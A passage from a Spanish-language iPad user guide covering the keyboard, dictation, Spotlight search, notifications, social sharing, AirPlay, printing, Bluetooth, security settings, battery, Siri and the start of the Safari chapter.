dedo para bloquear la posición del teclado y unir las dos partes y, a continuación, apártelo. • Devolver un teclado completo a la parte inferior de la pantalla: Deslice el dedo para bloquear la posición del teclado y, a continuación, apártelo. Activar y desactivar “Teclado dividido”: Vaya a Ajustes > General > Teclado > Teclado dividido. Puede utilizar Ajustes para establecer las disposiciones del teclado en pantalla o bien del teclado inalámbrico de Apple que utiliza con el iPad. Las disposiciones que están disponibles dependen del idioma del teclado. Consulte Teclado inalámbrico de Apple más adelante y Apéndice B, Teclados internacionales, en la página 130. Seleccionar disposiciones de teclado: Vaya a Ajustes > General > Internacional > Teclados, elija un idioma y, a continuación, seleccione las disposiciones. Teclado inalámbrico de Apple Puede utilizar un teclado inalámbrico de Apple (disponible por separado) para escribir en el iPad. El teclado inalámbrico de Apple se conecta por Bluetooth, por lo que primero deberá enlazarlo con el iPad. Consulte Enlace con dispositivos Bluetooth en la página 35. Cuando el teclado esté enlazado con el iPad, se conectará siempre que el teclado se encuentre dentro de su radio de acción (hasta 10 metros). Cuando hay un teclado inalámbrico conectado, el teclado en pantalla no aparece al pulsar en un campo de texto. Para ahorrar batería, apague el teclado cuando no lo vaya a utilizar. Cambiar el idioma al usar un teclado de hardware: Pulse Comando + barra espaciadora para ver una lista de los idiomas disponibles. Pulse la barra espaciadora para seleccionar un idioma. Apagar un teclado inalámbrico: Mantenga pulsado el botón de encendido del teclado hasta que la luz verde se apague. El iPad desconectará el teclado cuando este esté apagado o fuera de su alcance. Desenlazar un teclado inalámbrico: Vaya a Ajustes > Bluetooth, pulse junto al nombre del teclado y pulse “Omitir dispositivo”.Capítulo 3 Nociones básicas 29 Dictado En un iPad compatible con esta función, puede dictar texto en vez de escribirlo. Para dictar texto, debe estar activada la función Siri y el iPad debe estar conectado a Internet. Puede incluir puntuación y dar órdenes para formatear el texto. Nota: Dictado puede no estar disponible en todos los idiomas o en todas las regiones, y sus funciones pueden variar. Pueden aplicarse tarifas de datos de telefonía móvil. Activar el dictado: Vaya a Ajustes > General > Siri y, a continuación, active Siri. Dictar texto: Desde el teclado en pantalla, pulse y, a continuación, hable. Cuando acabe, pulse . Pulse para empezar a dictar. Pulse para empezar a dictar. Para añadir texto, pulse de nuevo y siga dictando. Para insertar texto, pulse primero para colocar el punto de inserción. También puede sustituir texto seleccionado dictando. Añadir puntuación o dar formato al texto: Diga la puntuación o comando de formato. Por ejemplo, “Querida María coma el cheque está en el correo punto” resulta en “Querida María, el cheque está en el correo.” Entre los comandos de puntuación y formato se incluyen: • abrir comillas ... cerrar comillas • nuevo párrafo • mayúscula inicial (para comenzar con mayúscula la siguiente palabra) • activar mayúscula inicial ... desactivar mayúscula inicial (para comenzar con mayúscula todas las palabras) • todo en mayúsculas (para que la siguiente palabra entera esté en mayúsculas) • activar todo en mayúsculas ... desactivar todo en mayúsculas (para que las palabras encerradas estén por completo en mayúsculas) • activar todo en minúsculas ... desactivar todo en minúsculas (para que las palabras encerradas estén por completo en minúsculas) • activar sin espacio ... desactivar sin espacio (para que una serie de palabras aparezcan juntas) • cara feliz (para insertar el emoticono :-) • cara triste (para insertar el emoticono :-( • cara guiñando (para insertar el emoticono ;-)Capítulo 3 Nociones básicas 30 Cómo buscar Puede realizar búsquedas en muchas de las apps del iPad, así como en la Wikipedia y en Internet. Busque en una app en concreto o en todas a la vez utilizando Spotlight. Spotlight busca también en los nombres de las apps del iPad (en el caso de que disponga de muchas apps, puede que le interese utilizar Spotlight para localizarlas y abrirlas). Buscar en una app en concreto: Introduzca texto en el campo Buscar. Buscar en el iPad mediante Spotlight: Desplácese a la derecha desde la primera pantalla de inicio o pulse el botón de inicio desde cualquier pantalla de inicio. Introduzca texto en el campo Buscar. Los resultados de la búsqueda van apareciendo a medida que escribe. Pulse Buscar para ocultar el teclado y ver más resultados. Pulse un ítem de la lista para abrirlo. Los iconos le permitirán saber de qué apps proceden los resultados. El iPad puede mostrar el mejor resultado basándose en búsquedas anteriores. Spotlight busca en lo siguiente: • Contactos: todo el contenido • Apps: títulos • Música: nombres de canciones, artistas y álbumes, y títulos de podcasts y vídeos • Podcasts: títulos • Vídeos: títulos • Audiolibros: títulos • Notas: el texto de las notas • Calendario (eventos): títulos de eventos, invitados, ubicaciones y notas • Mail: campos De, Para y Asunto de todas las cuentas (no se realizan búsquedas en el texto de los mensajes) • Recordatorios: títulos • Mensajes: nombres y texto de los mensajes Buscar en Internet o en la Wikipedia con Spotlight: Desplácese al final de los resultados de búsqueda y pulse “Buscar en Internet” o “Buscar en Wikipedia”.Capítulo 3 Nociones básicas 31 Abrir una app desde la pantalla de búsqueda: Introduzca la totalidad o parte del nombre de la app y, a continuación, pulse en ella. Seleccionar los ítems en los que se va a buscar y el orden en el que se buscarán: Vaya a Ajustes > General > “Búsqueda en Spotlight”. Notificaciones Para garantizar que no se pierdan eventos importantes, muchas apps del iPad pueden proporcionar alertas. Un alerta puede aparecer brevemente en la parte superior de la pantalla como una tira que desaparece si no responde, o como una notificación en el centro de la pantalla que permanecerá hasta que la solucione. Algunas apps también pueden mostrar globos en su icono de la pantalla de inicio para informarle de que le esperan nuevos ítems; por ejemplo, pueden indicar cuántos nuevos mensajes de correo electrónico tiene. Si hay algún problema, como un mensaje que no ha podido enviarse, aparecerá un signo de admiración en el globo. Un globo con un número sobre una carpeta muestra el número total de alertas de todas las apps que hay en la carpeta. Las alertas también pueden aparecer en la pantalla de bloqueo. Responder a una alerta cuando el iPad está bloqueado: Desplácela de izquierda a derecha. El centro de notificaciones muestra todas sus alertas en un único lugar. Por tanto, si no pudo responder a la alerta cuando la recibió por primera vez, puede hacerlo desde el centro de notificaciones cuando esté preparado. Las alertas pueden incluir: • llamadas perdidas de FaceTime; • nuevos mensajes de correo electrónico; • nuevos mensajes de texto; • recordatorios; • eventos de calendario; • solicitudes de amistad (Game Center).Capítulo 3 Nociones básicas 32 También puede obtener el tiempo local y mostrar el valor de sus acciones bursátiles. Si ha iniciado sesión en sus cuentas de Twitter y Facebook, también puede tuitear y publicar en esas cuentas desde el centro de notificaciones. Ver el centro de notificaciones: Desplace el dedo hacia abajo desde la parte superior de la pantalla. • Responder a una alerta: Púlsela. • Eliminar una alerta: Pulse y, a continuación, pulse Borrar. Gestionar alertas para sus apps: Vaya a Ajustes > Notificaciones. Consulte “No molestar” y notificaciones en la página 120. Seleccionar sonidos de alerta, ajustar el volumen y activar o desactivar la vibración: Vaya a Ajustes > Sonidos. Compartir iPad le ofrece una gran variedad de formas de compartir contenidos con otras personas. Compartir dentro de apps En muchas apps, al pulsar se muestran las opciones para compartir, además de otras acciones, como imprimir o copiar. Las opciones varían dependiendo de la app utilizada.Capítulo 3 Nociones básicas 33 Facebook Inicie sesión en su cuenta de Facebook (o cree una cuenta nueva) en Ajustes para poder añadir comentarios directamente desde muchas de las apps del iPad. Iniciar sesión en una cuenta Facebook o crear una nueva: Vaya a Ajustes > Facebook. Publicar desde el centro de notificaciones: Pulse “Pulsar para publicar”. Para activar esta función, vaya a Ajustes > Notificaciones > Widget compartir. Publicar con Siri: Diga “Publicar en Facebook...” Publicar un ítem desde una app: En la mayoría de las apps, pulse . En Mapas, pulse , pulse “Compartir ubicación” y, a continuación, pulse Facebook. Ajustar las opciones de Facebook: Vaya a Ajustes > Facebook para: • Actualizar los contactos del iPad con los nombres y fotografías de Facebook • permitir a App Store, Calendario, Contactos y iTunes utilizar su cuenta. Instalar la app Facebook: Vaya a Ajustes > Facebook y, a continuación, pulse Instalar. Twitter Inicie sesión en su cuenta de Twitter (o cree una cuenta nueva) en Ajustes para poder añadir mensajes con archivos adjuntos desde muchas de las apps del iPad. Iniciar sesión en una cuenta Twitter o crear una cuenta nueva: Vaya a Ajustes > Twitter. Tuitear desde el centro de notificaciones: Pulse “Pulsar para tuitear”. Para activar esta función, vaya a Ajustes > Notificaciones > Widget compartir. Tuitear con Siri: Diga “Tuit...” Tuitee un ítem desde una app: Visualice el ítem, pulse y, a continuación, pulse Twitter. Si no se muestra , pulse la pantalla. Para incluir su ubicación, pulse “Añadir ubicación”. Enviar a Twitter una ubicación de Mapas: Pulse el marcador de ubicación, pulse , pulse “Compartir ubicación” y, a continuación, pulse Twitter. Al escribir un mensaje de Twitter, el número que aparece en la esquina inferior derecha en la pantalla de Twitter indica el número de caracteres que aún puede introducir. Los archivos adjuntos utilizan parte de los 140 caracteres permitidos en Twitter. Añadir nombres de usuario de Twitter y fotos a sus contactos: Vaya a Ajustes > Twitter y, a continuación, pulse “Actualizar contactos”. Ajustar las opciones de Twitter: Vaya a Ajustes > Twitter. Instalar la app Twitter: Vaya a Ajustes > Twitter y, a continuación, pulse Instalar. Conexión del iPad a un televisor u otro dispositivo Puede utilizar AirPlay con el Apple TV para transmitir contenidos en tiempo real a un televisor HD o conectar el iPad a su televisor mediante cables. AirPlay Con AirPlay, puede transmitir música, fotos y vídeos de forma inalámbrica a un Apple TV y otros dispositivos compatibles con AirPlay. Los controles de AirPlay aparecerán cuando esté disponible un dispositivo con AirPlay en la misma red Wi-Fi a la que esté conectado el iPad. También podrá duplicar el contenido de la pantalla del iPad en un televisor. Transmitir contenido a un dispositivo con AirPlay activado: Pulse y seleccione el dispositivo.Capítulo 3 Nociones básicas 34 Acceder a los controles de AirPlay y de reproducción de audio cuando se está utilizando cualquier app: Si la pantalla está encendida, haga doble clic en el botón de inicio y desplácese a la izquierda del todo de la barra multitarea. AirPlay AirPlay Volumen Volumen Pasar la reproducción de nuevo al iPad: Pulse y seleccione el iPad. Duplicar la pantalla del iPad en un televisor: Pulse en el extremo izquierdo de la barra multitarea, seleccione un Apple TV y pulse Duplicación. Aparece una barra de color azul en la parte superior de la pantalla del iPad cuando está activada la duplicación de AirPlay. Todo lo que aparezca en el pantalla del iPad se mostrará en el televisor. Conexión del iPad a un televisor mediante un cable Los cables y adaptadores de Apple (disponibles por separado) pueden utilizarse para conectar el iPad a un televisor, proyector u otra pantalla externa. Para obtener más información, vaya a support.apple.com/kb/HT4108?viewlocale=es_ES. Impresión con AirPrint AirPrint le permite imprimir de forma inalámbrica en impresoras compatibles con AirPrint desde las siguientes apps de iOS: • Mail: mensajes de correo electrónico y archivos adjuntos que puedan visualizarse en Vista Rápida • Fotos y Cámara: fotos • Safari: páginas web, archivos PDF y otros tipos de archivos adjuntos que puedan visualizarse en Vista Rápida • iBooks: archivos PDF • Mapas: la parte del mapa que se muestra en la pantalla • Notas: la nota que se muestra en ese momento Es posible que otras apps disponibles en la tienda App Store también sean compatibles con AirPrint. El iPad y la impresora deben estar conectados a la misma red Wi-Fi. Para obtener más información sobre AirPrint, vaya a support.apple.com/kb/HT4356?viewlocale=es_ES.Capítulo 3 Nociones básicas 35 Imprimir un documento: Pulse o (en función de la app que esté usando) y, a continuación, pulse Imprimir. Consultar el estado de una impresión: Haga doble clic en el botón de inicio y, a continuación, pulse Impresión en la barra multitarea. El globo que hay sobre el icono indica el número de documentos listos para imprimirse, incluido el actual. Cancelar una impresión: En Impresión, seleccione la impresión si es necesario y, a continuación, pulse “Cancelar impresión”. Dispositivos Bluetooth Puede utilizar el iPad con el teclado inalámbrico de Apple u otros dispositivos Bluetooth, como auriculares Bluetooth. Para obtener más información, vaya a support.apple.com/kb/HT3647?viewlocale=es_ES. Enlace con dispositivos Bluetooth Para poder utilizar un dispositivo Bluetooth con el iPad, primero debe enlazarlo con el iPad.Capítulo 3 Nociones básicas 36 Enlazar un dispositivo Bluetooth con el iPad: 1 Ponga el dispositivo en modo visible. Consulte la documentación del dispositivo. En el caso de un teclado inalámbrico de Apple, pulse el botón de encendido. 2 Vaya a Ajustes > Bluetooth y active Bluetooth. 3 Seleccione el dispositivo y, si se le solicita, introduzca la clave o el PIN. Consulte las instrucciones relativas a la clave o PIN que vienen con el dispositivo. Para obtener información sobre cómo utilizar un teclado inalámbrico de Apple, consulte Teclado inalámbrico de Apple en la página 28. Para utilizar unos auriculares Bluetooth con el iPad, consulte la documentación del dispositivo. Devolver la salida de audio al iPad al conectar unos auriculares Bluetooth: Apague o desenlace el dispositivo o bien desactive Bluetooth en Ajustes > Bluetooth. La salida de audio volverá al iPad siempre que el dispositivo se encuentre fuera de su alcance. También puede utilizar AirPlay para cambiar la salida de audio al iPad. Consulte AirPlay en la página 33. Estado Bluetooth Tras haber enlazado un dispositivo con el iPad, aparecerá en la barra de estado de la parte superior de la pantalla el icono Bluetooth. • (blanco): Bluetooth está activado y enlazado con un dispositivo. • (gris): Bluetooth está activado y enlazado con un dispositivo, pero el dispositivo está fuera del radio de alcance o apagado. • Sin icono Bluetooth: Bluetooth no está enlazado con un dispositivo. Desenlazar un dispositivo Bluetooth del iPad Puede desenlazar un dispositivo Bluetooth si no va a utilizarlo más con el iPad. Desenlazar un dispositivo Bluetooth: Vaya a Ajustes > Bluetooth y active Bluetooth. Pulse junto al nombre del dispositivo y, a continuación, pulse “Omitir dispositivo”. Compartir Archivos Puede utilizar iTunes para transferir archivos entre el iPad y su ordenador. También puede ver los archivos recibidos como archivos adjuntos de un mensaje de correo electrónico en el iPad. Consulte Lectura de correo electrónico en la página 48. Si tiene las mismas apps compatibles con iCloud en más de un dispositivo, puede utilizar iCloud para disponer automáticamente de las versiones más recientes de sus documentos en todos sus dispositivos. Consulte Cómo usar iCloud en la página 16. Transferir archivos mediante iTunes: Conecte el iPad al ordenador mediante el cable incluido. En iTunes, en su ordenador, seleccione el iPad y, a continuación, haga clic en el botón “Aplic.”. Utilice la sección “Compartir archivos” para transferir documentos entre el iPad y el ordenador. Las apps que permiten compartir archivos se muestran en la lista de apps con archivos compartidos de iTunes. Para eliminar un archivo, selecciónelo en la lista de archivos y, a continuación, pulse la tecla Suprimir.Capítulo 3 Nociones básicas 37 Funciones de seguridad Las funciones de seguridad le permiten evitar que otros accedan a la información en el iPad. Códigos y protección de datos Para mayor seguridad, puede establecer un código que deberá introducir cada vez que se encienda o active el iPad o cuando acceda a los ajustes de bloqueo con código. Al especificar un código, se activa la protección de datos, que utiliza el código como clave para encriptar los mensajes de correo y los documentos adjuntos almacenados en el iPad. (Es posible que otras apps disponibles en la tienda App Store también utilicen la protección de datos.) Un aviso en la parte inferior de la pantalla “Bloqueo con código”, en Ajustes, muestra que la protección de datos está activada. Establecer un código: Vaya a Ajustes > General > “Bloqueo con código”, pulse “Activar código” e introduzca un código de 4 dígitos. Usar un código más seguro: Para aumentar la seguridad, desactive el código simple y use un código más largo con una combinación de números, letras, signos de puntuación y caracteres especiales. Para desbloquear el iPad cuando esté protegido por un código con combinación, deberá introducir el código utilizando el teclado. Si prefiere desbloquear el iPad usando el teclado numérico, puede configurar un código más largo usando solo números. Consulte Bloqueo con código en la página 123. Buscar mi iPad La función “Buscar mi iPad” puede ayudarle a localizar y proteger su iPad mediante la app gratuita “Buscar mi iPhone” desde otro iPad, iPhone o iPod touch, o utilizando un navegador web en un Mac o PC con una sesión iniciada en www.icloud.com. “Buscar mi iPad” incluye: • Reproducir sonido: Reproduce un sonido durante dos minutos. • Modo perdido: Podrá bloquear inmediatamente su iPad, si lo ha perdido, mediante un código y enviarle un mensaje con un número de contacto. El iPad también realiza un seguimiento de su ubicación e informa de ella, para que pueda ver dónde ha estado cuando consulte la app Buscar mi iPhone. • Borrar el iPad: Protege su privacidad eliminando toda la información y los contenidos del iPad y restableciendo sus ajustes de fábrica originales. Importante: Para utilizar estas funciones, debe haberse activado “Buscar mi iPad” en los ajustes de iCloud del iPad, y el iPad debe estar conectado a Internet. Activar “Buscar mi iPad”: Vaya a Ajustes > iCloud y active “Buscar mi iPad”.Capítulo 3 Nociones básicas 38 Batería El iPad tiene en su interior una batería de iones de litio recargable. Para obtener más información sobre la batería (incluidos consejos para ampliar al máximo la duración de la batería), vaya a www.apple.com/es/batteries, www.apple.com/mx/batteries o www.apple.com/la/batteries. ADVERTENCIA: Para obtener información de seguridad importante sobre la batería y sobre cómo cargar el iPad, consulte Información importante sobre seguridad en la página 133. Recargar la batería: La mejor manera de cargar la batería del iPad es conectando el iPad a una toma de corriente mediante el cable y el adaptador de corriente USB incluidos. El iPad seguramente se cargará despacio si lo conecta a un puerto USB 2.0 del ordenador. Si su Mac o PC no proporciona suficiente alimentación para recargar el iPad, en la barra de estado se mostrará el mensaje “No se está cargando”. Importante: La batería del iPad puede descargarse en vez de cargarse si el iPad está conectado a un PC, a un ordenador que está apagado o en estado de reposo, a un hub USB o a un puerto USB de un teclado. El icono de batería de la esquina superior derecha de la barra de estado muestra el nivel de la batería o su estado de carga. Sin cargar Sin cargar Cargando Cargando Cargado Cargado Mostrar el porcentaje de carga de la batería: Vaya a Ajustes > General > Uso y active el ajuste situado bajo “Uso de la batería”. Importante: Si el nivel de batería del iPad es muy bajo puede aparecer una de las siguientes imágenes, lo que indica que el iPad necesita cargarse durante veinte minutos aproximadamente antes de poder utilizarlo. Si el nivel de carga del iPad es muy bajo, la pantalla puede apagarse hasta dos minutos antes de que aparezca una de las imágenes de batería baja. o bien o bien Las baterías recargables pueden recargarse un número limitado de veces, por lo que es posible que llegue un momento en el que deba sustituirlas. Sustituir la batería: El usuario no puede acceder a la batería; únicamente pueden cambiarla proveedores de servicios Apple autorizados. Consulte www.apple.com/es/batteries/replacements.html, www.apple.com/mx/batteries/replacements.html o www.apple.com/la/batteries/replacements.html.4 39 ¿Qué es Siri? Siri es un asistente personal inteligente que le ayuda a realizar operaciones simplemente hablando. Siri entiende el habla natural, de modo que no es necesario que se aprenda comandos específicos ni que recuerde palabras clave. Puede pedir las cosas de distintas formas. Por ejemplo, puede decir “Ajusta la alarma para las 6:30 a.m.” o “Despiértame a las 6:30 de la mañana”. En cualquiera de los dos casos, Siri hará lo que le pide. ADVERTENCIA: Para obtener información importante sobre cómo evitar distracciones al volante, consulte Información importante sobre seguridad en la página 133. Siri le permite escribir y enviar mensajes, programar una reunión, realizar una llamada de FaceTime, obtener indicaciones, establecer un recordatorio, buscar en Internet y muchas cosas más, y todo ello hablando de forma natural. Siri le preguntará si necesita aclaraciones o más información Siri también utiliza la información de sus contactos, biblioteca musical, calendarios, recordatorios, etc., para saber de qué está hablando. Siri funciona sin problemas con la mayoría de las apps integradas en el iPad y, cuando es necesario, utiliza las funciones Buscar y Localización. También le puede pedir a Siri que abra una app. Hay muchas cosas que puede indicarle a Siri. A continuación se incluyen algunos ejemplos para principiantes: • FaceTime a José • Ajusta el temporizador a 30 minutos • Indicaciones para la tienda Apple más cercana • ¿Va a llover mañana? • Publica en Facebook • Publica en Twitter. Nota: Siri está disponible en el iPad de tercera generación o posterior y requiere acceso a Internet. Siri puede no estar disponible en todos los idiomas o en todas las regiones, y sus funciones pueden variar. Pueden aplicarse tarifas de datos de telefonía móvil. Cómo utilizar Siri Cómo iniciar Siri Siri se activa pulsando un botón. Iniciar Siri: Pulse el botón de inicio hasta que aparezca Siri. Si no activó Siri al configurar el iPad, vaya a Ajustes > General > Siri. SiriCapítulo 4 Siri 40 Escuchará dos pitidos rápidos y verá “¿En qué te puedo ayudar?” en la pantalla. Simplemente comience a hablar. El icono de micrófono se iluminará para indicarle que Siri le está escuchando. Una vez que haya empezado a dialogar con Siri, pulse el icono de micrófono para volver a hablar. Siri esperará a que termine de hablar, pero también puede pulsar el icono del micrófono para indicar a Siri que ya ha terminado. Esto resultará de gran utilidad cuando haya mucho ruido de fondo. También permite acelerar su conversación con Siri, puesto que Siri no tendrá que esperar ninguna pausa en su discurso. Cuando termine de hablar, Siri le mostrará lo que ha entendido y le ofrecerá una respuesta. Siri suele incluir información relacionada que puede resultar útil. Si la información está relacionada con una app (por ejemplo, un mensaje de texto que ha redactado o una ubicación por la que ha preguntado) simplemente pulse la pantalla para abrir la app a fin de obtener más detalles y nuevas acciones. Información relacionada; pulse para abrir la app. Información relacionada; pulse para abrir la app. Lo que ha entendido Siri Lo que ha entendido Siri Respuesta de Siri Respuesta de Siri Pulse para hablar a Siri. Pulse para hablar a Siri. Es posible que Siri le pida alguna aclaración para completar alguna petición. Por ejemplo, si le dice a Siri “Recuérdame que llame a Mamá ”, Siri puede preguntarle: “¿A qué hora quieres que te lo recuerde?” Cancelar una petición: Diga “cancelar”, pulse o pulse el botón de inicio . Hable a Siri sobre usted Cuanto más sepa Siri sobre usted, más podrá usar su información para ayudarle. Siri obtiene su información de su tarjeta de información personal (“Mis datos”) en Contactos. Dígale a Siri quién es usted: Vaya a Ajustes > General > Siri > “Mis datos” y, a continuación, pulse su nombre. Ponga la dirección de su casa y del trabajo en la tarjeta, de modo que pueda decir cosas como “Dime cómo llegar a casa”. Capítulo 4 Siri 41 Siri también quiere conocer a la gente importante en su vida, así que ponga esas relaciones en un tarjeta de información personal. Siri puede ayudarle. Por ejemplo, si pide a Siri que envíe un mensaje de texto a su hermana, Siri le preguntará quién es su hermana (si no lo ha indicado ya en su tarjeta). Siri añadirá esa relación a su tarjeta de información personal para no tener que volver a preguntar. Cree tarjetas en Contactos para todas sus relaciones importantes e incluya información como números de teléfono, direcciones de correo electrónico, direcciones del hogar y del trabajo, y sobrenombres que desee utilizar. Manual en pantalla Siri le ofrece ejemplos de frases que puede decir, directamente en la pantalla. Pregunte a Siri “¿qué puedes hacer?” o pulse cuando Siri aparezca. Siri mostrará una lista de las apps que admite, con una petición de ejemplo. Pulse un ítem de la lista para ver más ejemplos. Siri con manos libres Puede utilizar Siri con unos auriculares compatibles, como los auriculares EarPods de Apple con mando y micrófono (disponibles por separado), u otros auriculares con cable o Bluetooth. Hablar a Siri con unos auriculares: Mantenga pulsado el botón central (o el botón de llamada de unos auriculares Bluetooth). Para continuar una conversación con Siri, mantenga pulsado el botón cada vez que desee hablar. Cuando utilice auriculares, Siri le comunicará sus respuestas con voz. Siri repite los mensajes de texto y mensajes de correo electrónico dictados antes de enviarlos. De esta forma, tiene la oportunidad de cambiar un mensaje de texto si lo desea. Siri también repite los asuntos de los recordatorios antes de crearlos. Localización Puesto que Siri conoce ubicaciones como “actual”, “casa” y “trabajo” (si su iPadWi-Fi + cellular admite esta función), puede recordarle que haga una determinada tarea cuando abandone un lugar o cuando llegue a otro. Dígale a Siri “Recuérdame que llame a mi hija cuando salga de la oficina”, y Siri lo hará. No se realiza un seguimiento de la información de localización y dicha información tampoco se almacena fuera del iPad. Podrá seguir utilizando Siri con los servicios de localización desactivados, pero Siri no hará nada que requiera información de localización. Desactivar la función Localización para Siri: Vaya a Ajustes > Privacidad > Localización.Capítulo 4 Siri 42 Accesibilidad Siri es accesible a usuarios ciegos y con problemas de visión a través de VoiceOver, el lector de pantalla integrado en el iOS. VoiceOver describe en voz alta lo que hay en la pantalla (incluido el texto de las respuestas de Siri) para que pueda utilizar el iPad sin verlo. Activar VoiceOver: Vaya a Ajustes > General > Accesibilidad. La activación de VoiceOver hace que incluso sus notificaciones se lean en voz alta. Para obtener más información, consulte VoiceOver en la página 103. Cómo ajustar las opciones de Siri Activar o desactivar Siri: Vaya a Ajustes > General > Siri. Nota: Si desactiva Siri, la aplicación se restablecerá y olvidará todo lo que ha aprendido sobre su voz. Ajustar opciones para Siri: Vaya a Ajustes > General > Siri. • Idioma: Seleccione el idioma que desee utilizar con Siri. • Mensajes de voz: Por omisión, Siri responde hablando solo cuando lo utiliza con auriculares. Si quiere que Siri siempre responda hablando, ajuste esta opción a Siempre. • Mis datos: Indique a Siri qué tarjeta de Contactos contiene su información personal. Consulte Hable a Siri sobre usted en la página 40. Permitir o impedir el acceso a Siri cuando el iPad está bloqueado mediante un código: Vaya a Ajustes > General > Bloqueo con código. También puede desactivar Siri activando restricciones. Consulte Restricciones en la página 123. Restaurantes Siri funciona con Yelp, OpenTable y otros servicios para facilitarle información sobre restaurantes y ayudarle a realizar reservas. Pregunte para buscar restaurantes por tipo de comida, precio, ubicación, terraza o una combinación de diferentes opciones. Siri podrá mostrar las fotos disponibles, las estrellas Yelp, el intervalo de precios y las reseñas. Obtenga más información con las apps Yelp y OpenTable (el iPad le indicará que las descargue si aún no las tiene instaladas). Ver información detallada de un restaurante: Pulse un restaurante sugerido por Siri. Llame al restaurante. Llame al restaurante. Visite el sitio web. Visite el sitio web. Haga una reserva a través de OpenTable. Haga una reserva a través de OpenTable. Vea las opiniones de Yelp. Vea las opiniones de Yelp.Capítulo 4 Siri 43 Películas Pregunte a Siri qué películas están en cartelera o dónde puede ver una determinada película. Averigüe cuándo se estrenó una película, quién la dirigió y qué galardones obtuvo. Siri proporciona las direcciones de los cines y muestra los horarios de las proyecciones y las reseñas de Rotten Tomatoes. Ver información detallada de una película: Pulse una película sugerida por Siri. Vea el tráiler. Vea el tráiler. Lea las reseñas de Rotten Tomatoes. Lea las reseñas de Rotten Tomatoes. Deportes Siri sabe mucho de deportes: béisbol, baloncesto, fútbol, fútbol americano y hockey. Pregunte a Siri el calendario de partidos, los resultados de los partidos de la temporada actual o los resultados al minuto de los partidos que se están jugando. Dígale a Siri que le muestre las estadísticas de los jugadores y que las compare con las de otros jugadores. Siri también hace un seguimiento de las trayectorias de los equipos. Estas son algunas de las cosas que puede preguntar: • What was the score of the last Giants game? • What are the National League standings? • When is the Chicago Cubs first game of the season? Dictado Si Siri está activado, también puede dictar texto. Consulte Dictado en la página 29. Aunque puede redactar mensajes de correo electrónico, mensajes de texto y otros tipos de texto hablando directamente con Siri, es posible que prefiera dictarlos. La función de dictado le permite editar un mensaje en lugar de reemplazar todo el texto. La función de dictado también le da más tiempo para pensar mientras redacta. Siri entiende que una pausa significa que ha terminado de hablar por el momento y aprovecha la ocasión para responder. Aunque esto le permite entablar una conversación natural con Siri, Siri podría interrumpirle antes de que realmente hubiese acabado si hace una pausa demasiado larga. Con la función de dictado, puede detenerse todas las veces que quiera y seguir hablando cuando esté preparado. También puede empezar a redactar un texto utilizando Siri y seguir utilizando la función de dictado. Por ejemplo, puede crear un mensaje de correo electrónico con Siri y, a continuación, pulsar el borrador para abrir el mensaje en Mail. En Mail, puede completar o editar el mensaje y realizar otros cambios, como añadir o eliminar destinatarios, revisar el asunto o cambiar la cuenta desde la que está enviando los mensajes de correo electrónico.Capítulo 4 Siri 44 Cómo corregir a Siri Si Siri tiene problemas En ocasiones, Siri puede tener problemas para entenderle, por ejemplo, si hay ruido a su alrededor. Si habla con acento, Siri puede tardar un tiempo en acostumbrarse a su voz. Si Siri no le escucha con precisión, puede hacer correcciones. Siri le mostrará lo que le ha entendido decir, junto con su respuesta. Corregir lo que Siri piensa que usted está diciendo: Pulse el globo donde se muestra lo que Siri piensa que usted ha dicho. Edite su petición por escrito o pulse en el teclado para dictarla. Para obtener información sobre la forma de utilizar la función de dictado, consulte Dictado en la página 29. Si parte del texto aparece subrayada en azul, púlsela para que Siri le sugiera alternativas. Pulse una de las sugerencias o reemplace el texto escribiendo o dictando texto nuevo. Corregir a Siri hablando: Pulse y, a continuación, vuelva a plantear o aclare su petición. Por ejemplo, “Quería decir Huesca”. Al corregir a Siri, no diga lo que no quiere, sino lo que sí quiere. Corregir un mensaje de correo o un mensaje de texto: Si Siri le pregunta si desea enviar el mensaje, diga algo como: • Cámbialo a: Llámame mañana. • Añade: Nos vemos allí signo de interrogación. • No, envíaselo a Nacho. • No. (para no enviar el mensaje) • Cancelar. Para que Siri le lea el mensaje, diga “Léemelo” o “Léeme el mensaje”. Si es correcto, diga algo como “Sí, envíalo”. Entornos ruidosos En un entorno ruidoso, mantenga el iPad cerca de la boca, pero no hable directamente sobre el borde inferior. Siga hablando de forma clara y natural. Cuando termine de hablar, pulse . Conexión de red Es posible que Siri le indique que está teniendo problemas para conectarse a la red. Puesto que Siri depende de los servidores de Apple para el reconocimiento de voz y otros servicios, deberá disponer de una buena conexión de telefonía móvil 3G, 4G o LTE o de una buena conexión Wi-Fi a Internet. 5 45 Entre las funciones de Safari se incluyen las siguientes: • Lector: vea artículos sin anuncios ni estorbos • Lista de lectura: coleccione artículos para leerlos más tarde • Modo de pantalla completa: al visualizar páginas web en orientación horizontal Use iCloud para ver páginas que tenga abiertas en otros dispositivos, y para mantener actualizados sus favoritos y su lista de lectura en sus demás dispositivos. Vea sus favoritos, historial o lista de lectura. Vea sus favoritos, historial o lista de lectura. Abrir una página nueva. Abrir una página nueva. Buscar en Internet y en la página actual. Buscar en Internet y en la página actual. Introducir una dirección web (URL). Introducir una dirección web (URL). Pulse un ítem dos veces o separe o junte los dedos para acercar o alejar la imagen. Pulse un ítem dos veces o separe o junte los dedos para acercar o alejar la imagen. Ver una página web: Pulse el campo de dirección (en la barra de título), introduzca la URL y, a continuación, pulse Ir. • Desplazarse por una página web: Arrastre hacia arriba, hacia abajo o lateralmente. • Desplazarse dentro de un marco: Arrastre dos dedos en el interior del marco. • Volver a cargar una página web: Pulse en el campo de dirección. Cerrar una página web: Pulse en la pestaña de la página. Ver otra página web abierta: Pulse una pestaña en la parte superior de la página. SafariCapítulo 5 Safari 46 Volver a abrir una página web cerrada recientemente: Mantenga pulsado y, después, pulse un ítem de la lista. Ver páginas web que ha abierto en sus otros dispositivos: Pulse . Para compartir las páginas web que ha abierto en el iPad con los demás dispositivos a través de “Pestañas iCloud”, vaya a Ajustes > iCloud y active Safari. Seguir un enlace de una página web: Pulse el enlace. • Ver el destino de un enlace: Mantenga pulsado el enlace. • Abrir un enlace en una pestaña nueva: Mantenga pulsado el enlace y, a continuación, pulse “Abrir en una pestaña nueva”. Los datos detectados —como números de teléfono y direcciones de correo electrónico— también pueden aparecer como enlaces en páginas web. Mantenga pulsado un enlace para ver las opciones disponibles. Ver un artículo en el Lector: Pulse el botón Lector si aparece en el campo de dirección. • Ajustar el tamaño de letra: Pulse . • Compartir el artículo: Pulse . Nota: Al enviar por correo electrónico un artículo desde Lector, se envía el texto completo del artículo, además del enlace. • Volver al modo de visualización normal: Pulse Lector. Utilice la lista de lectura para recopilar páginas web que desee leer más tarde: • Añadir la página web actual: Pulse y, a continuación, 